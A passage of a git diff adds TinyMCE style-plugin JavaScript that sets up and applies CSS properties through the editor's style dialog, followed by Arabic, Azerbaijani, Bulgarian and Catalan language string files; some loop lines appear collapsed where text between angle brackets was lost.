'positioning_placement_right_measurement', 'style_positioning_placement_right_measurement', defaultMeasurement, ';', true); + fillSelect(0, 'positioning_placement_bottom_measurement', 'style_positioning_placement_bottom_measurement', defaultMeasurement, ';', true); + fillSelect(0, 'positioning_placement_left_measurement', 'style_positioning_placement_left_measurement', defaultMeasurement, ';', true); + + fillSelect(0, 'positioning_clip_top_measurement', 'style_positioning_clip_top_measurement', defaultMeasurement, ';', true); + fillSelect(0, 'positioning_clip_right_measurement', 'style_positioning_clip_right_measurement', defaultMeasurement, ';', true); + fillSelect(0, 'positioning_clip_bottom_measurement', 'style_positioning_clip_bottom_measurement', defaultMeasurement, ';', true); + fillSelect(0, 'positioning_clip_left_measurement', 'style_positioning_clip_left_measurement', defaultMeasurement, ';', true); + + TinyMCE_EditableSelects.init(); + setupFormData(); + showDisabledControls(); +} + +function setupFormData() { + var ce = document.getElementById('container'), f = document.forms[0], s, b, i; + + // Setup text fields + + selectByValue(f, 'text_font', ce.style.fontFamily, true, true); + selectByValue(f, 'text_size', getNum(ce.style.fontSize), true, true); + selectByValue(f, 'text_size_measurement', getMeasurement(ce.style.fontSize)); + selectByValue(f, 'text_weight', ce.style.fontWeight, true, true); + selectByValue(f, 'text_style', ce.style.fontStyle, true, true); + selectByValue(f, 'text_lineheight', getNum(ce.style.lineHeight), true, true); + selectByValue(f, 'text_lineheight_measurement', getMeasurement(ce.style.lineHeight)); + selectByValue(f, 'text_case', ce.style.textTransform, true, true); + selectByValue(f, 'text_variant', ce.style.fontVariant, true, true); + f.text_color.value = tinyMCEPopup.editor.dom.toHex(ce.style.color); + updateColor('text_color_pick', 'text_color'); + f.text_underline.checked = inStr(ce.style.textDecoration, 'underline'); + f.text_overline.checked = inStr(ce.style.textDecoration, 'overline'); + f.text_linethrough.checked = inStr(ce.style.textDecoration, 'line-through'); + f.text_blink.checked = inStr(ce.style.textDecoration, 'blink'); + f.text_none.checked = inStr(ce.style.textDecoration, 'none'); + updateTextDecorations(); + + // Setup background fields + + f.background_color.value = tinyMCEPopup.editor.dom.toHex(ce.style.backgroundColor); + updateColor('background_color_pick', 'background_color'); + f.background_image.value = ce.style.backgroundImage.replace(new RegExp("url\\('?([^']*)'?\\)", 'gi'), "$1"); + selectByValue(f, 'background_repeat', ce.style.backgroundRepeat, true, true); + selectByValue(f, 'background_attachment', ce.style.backgroundAttachment, true, true); + selectByValue(f, 'background_hpos', getNum(getVal(ce.style.backgroundPosition, 0)), true, true); + selectByValue(f, 'background_hpos_measurement', getMeasurement(getVal(ce.style.backgroundPosition, 0))); + selectByValue(f, 'background_vpos', getNum(getVal(ce.style.backgroundPosition, 1)), true, true); + selectByValue(f, 'background_vpos_measurement', getMeasurement(getVal(ce.style.backgroundPosition, 1))); + + // Setup block fields + + selectByValue(f, 'block_wordspacing', getNum(ce.style.wordSpacing), true, true); + selectByValue(f, 'block_wordspacing_measurement', getMeasurement(ce.style.wordSpacing)); + selectByValue(f, 'block_letterspacing', getNum(ce.style.letterSpacing), true, true); + selectByValue(f, 'block_letterspacing_measurement', getMeasurement(ce.style.letterSpacing)); + selectByValue(f, 'block_vertical_alignment', ce.style.verticalAlign, true, true); + selectByValue(f, 'block_text_align', ce.style.textAlign, true, true); + f.block_text_indent.value = getNum(ce.style.textIndent); + selectByValue(f, 'block_text_indent_measurement', getMeasurement(ce.style.textIndent)); + selectByValue(f, 'block_whitespace', ce.style.whiteSpace, true, true); + selectByValue(f, 'block_display', ce.style.display, true, true); + + // Setup box fields + + f.box_width.value = getNum(ce.style.width); + selectByValue(f, 'box_width_measurement', getMeasurement(ce.style.width)); + + f.box_height.value = getNum(ce.style.height); + selectByValue(f, 'box_height_measurement', getMeasurement(ce.style.height)); + selectByValue(f, 'box_float', ce.style.cssFloat || ce.style.styleFloat, true, true); + + selectByValue(f, 'box_clear', ce.style.clear, true, true); + + setupBox(f, ce, 'box_padding', 'padding', ''); + setupBox(f, ce, 'box_margin', 'margin', ''); + + // Setup border fields + + setupBox(f, ce, 'border_style', 'border', 'Style'); + setupBox(f, ce, 'border_width', 'border', 'Width'); + setupBox(f, ce, 'border_color', 'border', 'Color'); + + updateColor('border_color_top_pick', 'border_color_top'); + updateColor('border_color_right_pick', 'border_color_right'); + updateColor('border_color_bottom_pick', 'border_color_bottom'); + updateColor('border_color_left_pick', 'border_color_left'); + + f.elements.border_color_top.value = tinyMCEPopup.editor.dom.toHex(f.elements.border_color_top.value); + f.elements.border_color_right.value = tinyMCEPopup.editor.dom.toHex(f.elements.border_color_right.value); + f.elements.border_color_bottom.value = tinyMCEPopup.editor.dom.toHex(f.elements.border_color_bottom.value); + f.elements.border_color_left.value = tinyMCEPopup.editor.dom.toHex(f.elements.border_color_left.value); + + // Setup list fields + + selectByValue(f, 'list_type', ce.style.listStyleType, true, true); + selectByValue(f, 'list_position', ce.style.listStylePosition, true, true); + f.list_bullet_image.value = ce.style.listStyleImage.replace(new RegExp("url\\('?([^']*)'?\\)", 'gi'), "$1"); + + // Setup box fields + + selectByValue(f, 'positioning_type', ce.style.position, true, true); + selectByValue(f, 'positioning_visibility', ce.style.visibility, true, true); + selectByValue(f, 'positioning_overflow', ce.style.overflow, true, true); + f.positioning_zindex.value = ce.style.zIndex ? ce.style.zIndex : ""; + + f.positioning_width.value = getNum(ce.style.width); + selectByValue(f, 'positioning_width_measurement', getMeasurement(ce.style.width)); + + f.positioning_height.value = getNum(ce.style.height); + selectByValue(f, 'positioning_height_measurement', getMeasurement(ce.style.height)); + + setupBox(f, ce, 'positioning_placement', '', '', ['top', 'right', 'bottom', 'left']); + + s = ce.style.clip.replace(new RegExp("rect\\('?([^']*)'?\\)", 'gi'), "$1"); + s = s.replace(/,/g, ' '); + + if (!hasEqualValues([getVal(s, 0), getVal(s, 1), getVal(s, 2), getVal(s, 3)])) { + f.positioning_clip_top.value = getNum(getVal(s, 0)); + selectByValue(f, 'positioning_clip_top_measurement', getMeasurement(getVal(s, 0))); + f.positioning_clip_right.value = getNum(getVal(s, 1)); + selectByValue(f, 'positioning_clip_right_measurement', getMeasurement(getVal(s, 1))); + f.positioning_clip_bottom.value = getNum(getVal(s, 2)); + selectByValue(f, 'positioning_clip_bottom_measurement', getMeasurement(getVal(s, 2))); + f.positioning_clip_left.value = getNum(getVal(s, 3)); + selectByValue(f, 'positioning_clip_left_measurement', getMeasurement(getVal(s, 3))); + } else { + f.positioning_clip_top.value = getNum(getVal(s, 0)); + selectByValue(f, 'positioning_clip_top_measurement', getMeasurement(getVal(s, 0))); + f.positioning_clip_right.value = f.positioning_clip_bottom.value = f.positioning_clip_left.value; + } + +// setupBox(f, ce, '', 'border', 'Color'); +} + +function getMeasurement(s) { + return s.replace(/^([0-9.]+)(.*)$/, "$2"); +} + +function getNum(s) { + if (new RegExp('^(?:[0-9.]+)(?:[a-z%]+)$', 'gi').test(s)) + return s.replace(/[^0-9.]/g, ''); + + return s; +} + +function inStr(s, n) { + return new RegExp(n, 'gi').test(s); +} + +function getVal(s, i) { + var a = s.split(' '); + + if (a.length > 1) + return a[i]; + + return ""; +} + +function setValue(f, n, v) { + if (f.elements[n].type == "text") + f.elements[n].value = v; + else + selectByValue(f, n, v, true, true); +} + +function setupBox(f, ce, fp, pr, sf, b) { + if (typeof(b) == "undefined") + b = ['Top', 'Right', 'Bottom', 'Left']; + + if (isSame(ce, pr, sf, b)) { + f.elements[fp + "_same"].checked = true; + + setValue(f, fp + "_top", getNum(ce.style[pr + b[0] + sf])); + f.elements[fp + "_top"].disabled = false; + + f.elements[fp + "_right"].value = ""; + f.elements[fp + "_right"].disabled = true; + f.elements[fp + "_bottom"].value = ""; + f.elements[fp + "_bottom"].disabled = true; + f.elements[fp + "_left"].value = ""; + f.elements[fp + "_left"].disabled = true; + + if (f.elements[fp + "_top_measurement"]) { + selectByValue(f, fp + '_top_measurement', getMeasurement(ce.style[pr + b[0] + sf])); + f.elements[fp + "_left_measurement"].disabled = true; + f.elements[fp + "_bottom_measurement"].disabled = true; + f.elements[fp + "_right_measurement"].disabled = true; + } + } else { + f.elements[fp + "_same"].checked = false; + + setValue(f, fp + "_top", getNum(ce.style[pr + b[0] + sf])); + f.elements[fp + "_top"].disabled = false; + + setValue(f, fp + "_right", getNum(ce.style[pr + b[1] + sf])); + f.elements[fp + "_right"].disabled = false; + + setValue(f, fp + "_bottom", getNum(ce.style[pr + b[2] + sf])); + f.elements[fp + "_bottom"].disabled = false; + + setValue(f, fp + "_left", getNum(ce.style[pr + b[3] + sf])); + f.elements[fp + "_left"].disabled = false; + + if (f.elements[fp + "_top_measurement"]) { + selectByValue(f, fp + '_top_measurement', getMeasurement(ce.style[pr + b[0] + sf])); + selectByValue(f, fp + '_right_measurement', getMeasurement(ce.style[pr + b[1] + sf])); + selectByValue(f, fp + '_bottom_measurement', getMeasurement(ce.style[pr + b[2] + sf])); + selectByValue(f, fp + '_left_measurement', getMeasurement(ce.style[pr + b[3] + sf])); + f.elements[fp + "_left_measurement"].disabled = false; + f.elements[fp + "_bottom_measurement"].disabled = false; + f.elements[fp + "_right_measurement"].disabled = false; + } + } +} + +function isSame(e, pr, sf, b) { + var a = [], i, x; + + if (typeof(b) == "undefined") + b = ['Top', 'Right', 'Bottom', 'Left']; + + if (typeof(sf) == "undefined" || sf == null) + sf = ""; + + a[0] = e.style[pr + b[0] + sf]; + a[1] = e.style[pr + b[1] + sf]; + a[2] = e.style[pr + b[2] + sf]; + a[3] = e.style[pr + b[3] + sf]; + + for (i=0; i 0 ? s.substring(1) : s; + + if (f.text_none.checked) + s = "none"; + + ce.style.textDecoration = s; + + // Build background styles + + ce.style.backgroundColor = f.background_color.value; + ce.style.backgroundImage = f.background_image.value != "" ? "url(" + f.background_image.value + ")" : ""; + ce.style.backgroundRepeat = f.background_repeat.value; + ce.style.backgroundAttachment = f.background_attachment.value; + + if (f.background_hpos.value != "") { + s = ""; + s += f.background_hpos.value + (isNum(f.background_hpos.value) ? f.background_hpos_measurement.value : "") + " "; + s += f.background_vpos.value + (isNum(f.background_vpos.value) ? f.background_vpos_measurement.value : ""); + ce.style.backgroundPosition = s; + } + + // Build block styles + + ce.style.wordSpacing = f.block_wordspacing.value + (isNum(f.block_wordspacing.value) ? f.block_wordspacing_measurement.value : ""); + ce.style.letterSpacing = f.block_letterspacing.value + (isNum(f.block_letterspacing.value) ? f.block_letterspacing_measurement.value : ""); + ce.style.verticalAlign = f.block_vertical_alignment.value; + ce.style.textAlign = f.block_text_align.value; + ce.style.textIndent = f.block_text_indent.value + (isNum(f.block_text_indent.value) ? f.block_text_indent_measurement.value : ""); + ce.style.whiteSpace = f.block_whitespace.value; + ce.style.display = f.block_display.value; + + // Build box styles + + ce.style.width = f.box_width.value + (isNum(f.box_width.value) ? f.box_width_measurement.value : ""); + ce.style.height = f.box_height.value + (isNum(f.box_height.value) ? f.box_height_measurement.value : ""); + ce.style.styleFloat = f.box_float.value; + ce.style.cssFloat = f.box_float.value; + + ce.style.clear = f.box_clear.value; + + if (!f.box_padding_same.checked) { + ce.style.paddingTop = f.box_padding_top.value + (isNum(f.box_padding_top.value) ? f.box_padding_top_measurement.value : ""); + ce.style.paddingRight = f.box_padding_right.value + (isNum(f.box_padding_right.value) ? f.box_padding_right_measurement.value : ""); + ce.style.paddingBottom = f.box_padding_bottom.value + (isNum(f.box_padding_bottom.value) ? f.box_padding_bottom_measurement.value : ""); + ce.style.paddingLeft = f.box_padding_left.value + (isNum(f.box_padding_left.value) ? f.box_padding_left_measurement.value : ""); + } else + ce.style.padding = f.box_padding_top.value + (isNum(f.box_padding_top.value) ? f.box_padding_top_measurement.value : ""); + + if (!f.box_margin_same.checked) { + ce.style.marginTop = f.box_margin_top.value + (isNum(f.box_margin_top.value) ? f.box_margin_top_measurement.value : ""); + ce.style.marginRight = f.box_margin_right.value + (isNum(f.box_margin_right.value) ? f.box_margin_right_measurement.value : ""); + ce.style.marginBottom = f.box_margin_bottom.value + (isNum(f.box_margin_bottom.value) ? f.box_margin_bottom_measurement.value : ""); + ce.style.marginLeft = f.box_margin_left.value + (isNum(f.box_margin_left.value) ? f.box_margin_left_measurement.value : ""); + } else + ce.style.margin = f.box_margin_top.value + (isNum(f.box_margin_top.value) ? f.box_margin_top_measurement.value : ""); + + // Build border styles + + if (!f.border_style_same.checked) { + ce.style.borderTopStyle = f.border_style_top.value; + ce.style.borderRightStyle = f.border_style_right.value; + ce.style.borderBottomStyle = f.border_style_bottom.value; + ce.style.borderLeftStyle = f.border_style_left.value; + } else + ce.style.borderStyle = f.border_style_top.value; + + if (!f.border_width_same.checked) { + ce.style.borderTopWidth = f.border_width_top.value + (isNum(f.border_width_top.value) ? f.border_width_top_measurement.value : ""); + ce.style.borderRightWidth = f.border_width_right.value + (isNum(f.border_width_right.value) ? f.border_width_right_measurement.value : ""); + ce.style.borderBottomWidth = f.border_width_bottom.value + (isNum(f.border_width_bottom.value) ? f.border_width_bottom_measurement.value : ""); + ce.style.borderLeftWidth = f.border_width_left.value + (isNum(f.border_width_left.value) ? f.border_width_left_measurement.value : ""); + } else + ce.style.borderWidth = f.border_width_top.value + (isNum(f.border_width_top.value) ? f.border_width_top_measurement.value : ""); + + if (!f.border_color_same.checked) { + ce.style.borderTopColor = f.border_color_top.value; + ce.style.borderRightColor = f.border_color_right.value; + ce.style.borderBottomColor = f.border_color_bottom.value; + ce.style.borderLeftColor = f.border_color_left.value; + } else + ce.style.borderColor = f.border_color_top.value; + + // Build list styles + + ce.style.listStyleType = f.list_type.value; + ce.style.listStylePosition = f.list_position.value; + ce.style.listStyleImage = f.list_bullet_image.value != "" ? "url(" + f.list_bullet_image.value + ")" : ""; + + // Build positioning styles + + ce.style.position = f.positioning_type.value; + ce.style.visibility = f.positioning_visibility.value; + + if (ce.style.width == "") + ce.style.width = f.positioning_width.value + (isNum(f.positioning_width.value) ? f.positioning_width_measurement.value : ""); + + if (ce.style.height == "") + ce.style.height = f.positioning_height.value + (isNum(f.positioning_height.value) ? f.positioning_height_measurement.value : ""); + + ce.style.zIndex = f.positioning_zindex.value; + ce.style.overflow = f.positioning_overflow.value; + + if (!f.positioning_placement_same.checked) { + ce.style.top = f.positioning_placement_top.value + (isNum(f.positioning_placement_top.value) ? f.positioning_placement_top_measurement.value : ""); + ce.style.right = f.positioning_placement_right.value + (isNum(f.positioning_placement_right.value) ? f.positioning_placement_right_measurement.value : ""); + ce.style.bottom = f.positioning_placement_bottom.value + (isNum(f.positioning_placement_bottom.value) ? f.positioning_placement_bottom_measurement.value : ""); + ce.style.left = f.positioning_placement_left.value + (isNum(f.positioning_placement_left.value) ? f.positioning_placement_left_measurement.value : ""); + } else { + s = f.positioning_placement_top.value + (isNum(f.positioning_placement_top.value) ? f.positioning_placement_top_measurement.value : ""); + ce.style.top = s; + ce.style.right = s; + ce.style.bottom = s; + ce.style.left = s; + } + + if (!f.positioning_clip_same.checked) { + s = "rect("; + s += (isNum(f.positioning_clip_top.value) ? f.positioning_clip_top.value + f.positioning_clip_top_measurement.value : "auto") + " "; + s += (isNum(f.positioning_clip_right.value) ? f.positioning_clip_right.value + f.positioning_clip_right_measurement.value : "auto") + " "; + s += (isNum(f.positioning_clip_bottom.value) ? f.positioning_clip_bottom.value + f.positioning_clip_bottom_measurement.value : "auto") + " "; + s += (isNum(f.positioning_clip_left.value) ? f.positioning_clip_left.value + f.positioning_clip_left_measurement.value : "auto"); + s += ")"; + + if (s != "rect(auto auto auto auto)") + ce.style.clip = s; + } else { + s = "rect("; + t = isNum(f.positioning_clip_top.value) ? f.positioning_clip_top.value + f.positioning_clip_top_measurement.value : "auto"; + s += t + " "; + s += t + " "; + s += t + " "; + s += t + ")"; + + if (s != "rect(auto auto auto auto)") + ce.style.clip = s; + } + + ce.style.cssText = ce.style.cssText; +} + +function isNum(s) { + return new RegExp('[0-9]+', 'g').test(s); +} + +function showDisabledControls() { + var f = document.forms, i, a; + + for (i=0; i 1) { + addSelectValue(f, s, p[0], p[1]); + + if (se) + selectByValue(f, s, p[1]); + } else { + addSelectValue(f, s, p[0], p[0]); + + if (se) + selectByValue(f, s, p[0]); + } + } +} + +function toggleSame(ce, pre) { + var el = document.forms[0].elements, i; + + if (ce.checked) { + el[pre + "_top"].disabled = false; + el[pre + "_right"].disabled = true; + el[pre + "_bottom"].disabled = true; + el[pre + "_left"].disabled = true; + + if (el[pre + "_top_measurement"]) { + el[pre + "_top_measurement"].disabled = false; + el[pre + "_right_measurement"].disabled = true; + el[pre + "_bottom_measurement"].disabled = true; + el[pre + "_left_measurement"].disabled = true; + } + } else { + el[pre + "_top"].disabled = false; + el[pre + "_right"].disabled = false; + el[pre + "_bottom"].disabled = false; + el[pre + "_left"].disabled = false; + + if (el[pre + "_top_measurement"]) { + el[pre + "_top_measurement"].disabled = false; + el[pre + "_right_measurement"].disabled = false; + el[pre + "_bottom_measurement"].disabled = false; + el[pre + "_left_measurement"].disabled = false; + } + } + + showDisabledControls(); +} + +function synch(fr, to) { + var f = document.forms[0]; + + f.elements[to].value = f.elements[fr].value; + + if (f.elements[fr + "_measurement"]) + selectByValue(f, to + "_measurement", f.elements[fr + "_measurement"].value); +} + +function updateTextDecorations(){ + var el = document.forms[0].elements; + + var textDecorations = ["text_underline", "text_overline", "text_linethrough", "text_blink"]; + var noneChecked = el["text_none"].checked; + tinymce.each(textDecorations, function(id) { + el[id].disabled = noneChecked; + if (noneChecked) { + el[id].checked = false; + } + }); +} + +tinyMCEPopup.onInit.add(init); diff --git a/js/tiny_mce/plugins/style/langs/ar_dlg.js b/js/tiny_mce/plugins/style/langs/ar_dlg.js new file mode 100755 index 0000000..8621f09 --- /dev/null +++ b/js/tiny_mce/plugins/style/langs/ar_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ar.style_dlg',{"text_lineheight":"\u0627\u0631\u062a\u0641\u0627\u0639 \u0627\u0644\u062e\u0637","text_variant":"\u0634\u0643\u0644 \u0645\u062e\u062a\u0644\u0641","text_style":"\u0633\u0645\u0647","text_weight":"\u0627\u0644\u0639\u0631\u0636","text_size":"\u062d\u062c\u0645","text_font":"\u062e\u0637","text_props":"\u0646\u0635","positioning_tab":"\u0648\u0636\u0639","list_tab":"\u0642\u0627\u0626\u0645\u0647","border_tab":"\u0627\u0637\u0627\u0631","box_tab":"\u0635\u0646\u062f\u0648\u0642","block_tab":"\u0628\u0644\u0648\u0643","background_tab":"\u062e\u0644\u0641\u064a\u0647","text_tab":"\u0646\u0635",apply:"\u0627\u062f\u0631\u0627\u062c",title:"Edit CSS Style",clip:"Clip",placement:"Placement",overflow:"Overflow",zindex:"\u0627\u0644\u0628\u0639\u062f \u0627\u0644\u062b\u0627\u0644\u062b",visibility:"\u0627\u0644\u0638\u0647\u0648\u0631","positioning_type":"\u0646\u0648\u0639",position:"Position","bullet_image":"Bullet image","list_type":"\u0646\u0648\u0639",color:"\u0644\u0648\u0646",height:"\u0627\u0631\u062a\u0641\u0627\u0639",width:"\u0639\u0631\u0636",style:"\u0633\u0645\u0647",margin:"Margin",left:"\u064a\u0633\u0627\u0631",bottom:"\u0627\u0633\u0641\u0644",right:"\u064a\u0645\u064a\u0646",top:"\u0627\u0644\u0627\u0639\u0644\u0649",same:"\u0645\u062a\u0633\u0627\u0648\u0649 \u0644\u0644\u0643\u0644",padding:"Padding","box_clear":"Clear","box_float":"Float","box_height":"\u0627\u0631\u062a\u0641\u0627\u0639","box_width":"\u0639\u0631\u0636","block_display":"Display","block_whitespace":"Whitespace","block_text_indent":"Text indent","block_text_align":"Text align","block_vertical_alignment":"\u0645\u062d\u0627\u0632\u0627\u0647 \u0631\u0623\u0633\u064a\u0647","block_letterspacing":"\u062a\u0628\u0627\u0639\u062f \u0627\u0644\u062d\u0631\u0648\u0641","block_wordspacing":"\u062a\u0628\u0627\u0639\u062f \u0627\u0644\u0643\u0644\u0645\u0627\u062a","background_vpos":"Vertical position","background_hpos":"Horizontal position","background_attachment":"\u0645\u0631\u0641\u0642\u0627\u062a","background_repeat":"\u062a\u0643\u0631\u0627\u0631","background_image":"\u0635\u0648\u0631\u0629 \u0627\u0644\u062e\u0644\u0641\u064a\u0647","background_color":"\u0644\u0648\u0646 \u0627\u0644\u062e\u0644\u0641\u064a\u0647","text_none":"\u0644\u0627 \u0634\u0626","text_blink":"blink","text_case":"Case","text_striketrough":"strikethrough","text_underline":"\u062a\u062d\u062a\u0647 \u062e\u0637","text_overline":"\u0641\u0648\u0642\u0647 \u062e\u0637","text_decoration":"Decoration","text_color":"\u0644\u0648\u0646",text:"\u0646\u0635",background:"\u0627\u0644\u062e\u0644\u0641\u064a\u0629",block:"\u0628\u0644\u0648\u0643",box:"\u0635\u0646\u062f\u0648\u0642",border:"\u062d\u062f\u0648\u062f",list:"\u0642\u0627\u0626\u0645\u0629"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/style/langs/az_dlg.js b/js/tiny_mce/plugins/style/langs/az_dlg.js new file mode 100755 index 0000000..81d8cdc --- /dev/null +++ b/js/tiny_mce/plugins/style/langs/az_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('az.style_dlg',{"text_lineheight":"S\u0259tr h\u00fcnd\u00fcrl\u00fcy\u00fc","text_variant":"Variant","text_style":"Stil","text_weight":"\u00c7\u0259kisi","text_size":"\u00d6l\u00e7\u00fcs\u00fc","text_font":"\u015erift","text_props":"M\u0259tn","positioning_tab":"M\u00f6vqe","list_tab":"Siyah\u0131","border_tab":"S\u0259rh\u0259d","box_tab":"Konteyner","block_tab":"Blok","background_tab":"Fon","text_tab":"M\u0259tn",apply:"T\u0259tbiq et",title:"CSS stili redakt\u0259 et",clip:"K\u0259sm\u0259k",placement:"Yerl\u0259\u015fdirm\u0259",overflow:"Axma",zindex:"Z-indeks",visibility:"G\u00f6r\u00fcn\u00fc\u015f","positioning_type":"N\u00f6v",position:"M\u00f6vqe","bullet_image":"Marker \u015f\u0259kli","list_type":"N\u00f6v",color:"R\u0259ng",height:"H\u00fcnd\u00fcrl\u00fck",width:"En",style:"Stil",margin:"Sah\u0259l\u0259r",left:"Soldan",bottom:"A\u015fa\u011f\u0131dan",right:"Sa\u011fdan",top:"Yuxar\u0131dan",same:"Ham\u0131s\u0131 \u00fc\u00e7\u00fcn eyni",padding:"Doldurma","box_clear":"T\u0259mizl\u0259","box_float":"\u00dcz\u0259n","box_height":"Uzunlu\u011fu","box_width":"Eni","block_display":"N\u00fcmayis","block_whitespace":"Bo\u015fluq","block_text_indent":"M\u0259tn bo\u015flu\u011fu","block_text_align":"M\u0259tn tara\u015fla\u015fd\u0131r\u0131lmas\u0131","block_vertical_alignment":"\u015eaquli tarazla\u015fd\u0131r\u0131lma","block_letterspacing":"Simvol aras\u0131 bo\u015fluqlar","block_wordspacing":"S\u00f6zaras\u0131 bo\u015fluqlar","background_vpos":"\u015eaquli m\u00f6vqe","background_hpos":"\u00dcf\u00fcqi m\u00f6vqe","background_attachment":"B\u0259rkitm\u0259k","background_repeat":"T\u0259krar","background_image":"fon \u015f\u0259kli","background_color":"Fon r\u0259ngi","text_none":"he\u00e7 biri","text_blink":"Yan\u0131b-s\u00f6n\u0259n","text_case":"Registr","text_striketrough":"\u00fcst\u00fcnd\u0259n x\u0259tt","text_underline":"alt\u0131ndan x\u0259tt","text_overline":"\u00fcz\u0259rind\u0259n x\u0259tt","text_decoration":"B\u0259z\u0259k","text_color":"\u015e\u0259kil",text:"Text",background:"Background",block:"Block",box:"Box",border:"Border",list:"List"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/style/langs/bg_dlg.js b/js/tiny_mce/plugins/style/langs/bg_dlg.js new file mode 100755 index 0000000..f091b7c --- /dev/null +++ b/js/tiny_mce/plugins/style/langs/bg_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('bg.style_dlg',{"text_lineheight":"\u0412\u0438\u0441\u043e\u0447\u0438\u043d\u0430 \u043d\u0430 \u0440\u0435\u0434\u0430","text_variant":"\u041f\u0440\u043e\u043c\u0435\u043d\u043b\u0438\u0432","text_style":"\u0421\u0442\u0438\u043b","text_weight":"\u0422\u0435\u0433\u043b\u043e","text_size":"\u0420\u0430\u0437\u043c\u0435\u0440","text_font":"\u0428\u0440\u0438\u0444\u0442","text_props":"\u0422\u0435\u043a\u0441\u0442","positioning_tab":"\u041f\u043e\u0437\u0438\u0446\u0438\u043e\u043d\u0438\u0440\u0430\u043d\u0435","list_tab":"\u0421\u043f\u0438\u0441\u044a\u043a","border_tab":"\u0420\u0430\u043c\u043a\u0430","box_tab":"\u041a\u0443\u0442\u0438\u044f","block_tab":"\u0411\u043b\u043e\u043a","background_tab":"\u0424\u043e\u043d","text_tab":"\u0422\u0435\u043a\u0441\u0442",apply:"\u041f\u043e\u0442\u0432\u044a\u0440\u0434\u0438",title:"\u0420\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u0430\u0439 CSS \u0441\u0442\u0438\u043b",clip:"\u041e\u0442\u0440\u0435\u0436\u0438",placement:"\u0420\u0430\u0437\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u0435",overflow:"Overflow",zindex:"Z-index",visibility:"\u0412\u0438\u0434\u0438\u043c\u043e\u0441\u0442","positioning_type":"\u0422\u0438\u043f",position:"\u041f\u043e\u0437\u0438\u0446\u0438\u044f","bullet_image":"\u0413\u0440\u0430\u0444\u0438\u043a\u0430 \u043d\u0430 \u0432\u043e\u0434\u0430\u0447\u0438\u0442\u0435","list_type":"\u0422\u0438\u043f",color:"\u0426\u0432\u044f\u0442",height:"\u0412\u0438\u0441\u043e\u0447\u0438\u043d\u0430",width:"\u0428\u0438\u0440\u0438\u043d\u0430",style:"\u0421\u0442\u0438\u043b",margin:"Margin",left:"\u041b\u044f\u0432\u043e",bottom:"\u0414\u043e\u043b\u0443",right:"\u0414\u044f\u0441\u043d\u043e",top:"\u0413\u043e\u0440\u0435",same:"\u0417\u0430 \u0432\u0441\u0438\u0447\u043a\u0438",padding:"Padding","box_clear":"\u0418\u0437\u0447\u0438\u0441\u0442\u0438","box_float":"Float","box_height":"\u0412\u0438\u0441\u043e\u0447\u0438\u043d\u0430","box_width":"\u0428\u0438\u0440\u0438\u043d\u0430","block_display":"\u041f\u043e\u043a\u0430\u0437\u0432\u0430\u043d\u0435","block_whitespace":"\u0418\u043d\u0442\u0435\u0440\u0432\u0430\u043b","block_text_indent":"\u041e\u0442\u0441\u0442\u044a\u043f \u043d\u0430 \u0442\u0435\u043a\u0441\u0442\u0430","block_text_align":"\u041f\u043e\u0434\u0440\u0430\u0432\u043d\u044f\u0432\u0430\u043d\u0435 \u043d\u0430 \u0442\u0435\u043a\u0441\u0442\u0430","block_vertical_alignment":"\u0412\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u043d\u043e \u043f\u043e\u0434\u0440\u0430\u0432\u043d\u044f\u0432\u0430\u043d\u0435","block_letterspacing":"\u0420\u0430\u0437\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u043c\u0435\u0436\u0434\u0443 \u0431\u0443\u043a\u0432\u0438\u0442\u0435","block_wordspacing":"\u0420\u0430\u0437\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u043c\u0435\u0436\u0434\u0443 \u0434\u0443\u043c\u0438\u0442\u0435","background_vpos":"\u0412\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u043d\u0430 \u043f\u043e\u0437\u0438\u0446\u0438\u044f","background_hpos":"\u0425\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u043d\u0430 \u043f\u043e\u0437\u0438\u0446\u0438\u044f","background_attachment":"\u041f\u0440\u0438\u043a\u0440\u0435\u043f\u0438","background_repeat":"\u041f\u043e\u0432\u0442\u043e\u0440\u0438","background_image":"\u041a\u0430\u0440\u0442\u0438\u043d\u043a\u0430 \u0437\u0430 \u0444\u043e\u043d","background_color":"\u0426\u0432\u044f\u0442 \u0437\u0430 \u0444\u043e\u043d","text_none":"\u043d\u0438\u0449\u043e","text_blink":"\u043c\u0438\u0433\u0430","text_case":"\u0420\u0435\u0433\u0438\u0441\u0442\u044a\u0440","text_striketrough":"\u0437\u0430\u0447\u0435\u0440\u0442\u0430\u043d","text_underline":"\u043f\u043e\u0434\u0447\u0435\u0440\u0442\u0430\u043d","text_overline":"\u043d\u0430\u0434\u0447\u0435\u0440\u0442\u0430\u043d","text_decoration":"\u0414\u0435\u043a\u043e\u0440\u0430\u0446\u0438\u044f","text_color":"\u0426\u0432\u044f\u0442",text:"\u0422\u0435\u043a\u0441\u0442",background:"\u0424\u043e\u043d",block:"\u0411\u043b\u043e\u043a",box:"\u041a\u0443\u0442\u0438\u044f",border:"\u0420\u0430\u043c\u043a\u0430",list:"\u0421\u043f\u0438\u0441\u044a\u043a"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/style/langs/ca_dlg.js b/js/tiny_mce/plugins/style/langs/ca_dlg.js new file mode 100755 index 0000000..466109a --- /dev/null +++ b/js/tiny_mce/plugins/style/langs/ca_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ca.style_dlg',{"text_lineheight":"Al\u00e7ada de l\u00ednia","text_variant":"Variant","text_style":"Estil","text_weight":"Pes","text_size":"Mida","text_font":"Font","text_props":"Text","positioning_tab":"Posicionament","list_tab":"Llista","border_tab":"Contorn","box_tab":"Quadre","block_tab":"Bloc","background_tab":"Fons","text_tab":"Text",apply:"Aplica",title:"Edita l\'estil CSS",clip:"Retall",placement:"Empla\u00e7ament",overflow:"Desbordament",zindex:"\u00cdndex Z",visibility:"Visibilitat","positioning_type":"Tipus",position:"Posici\u00f3","bullet_image":"Imatge 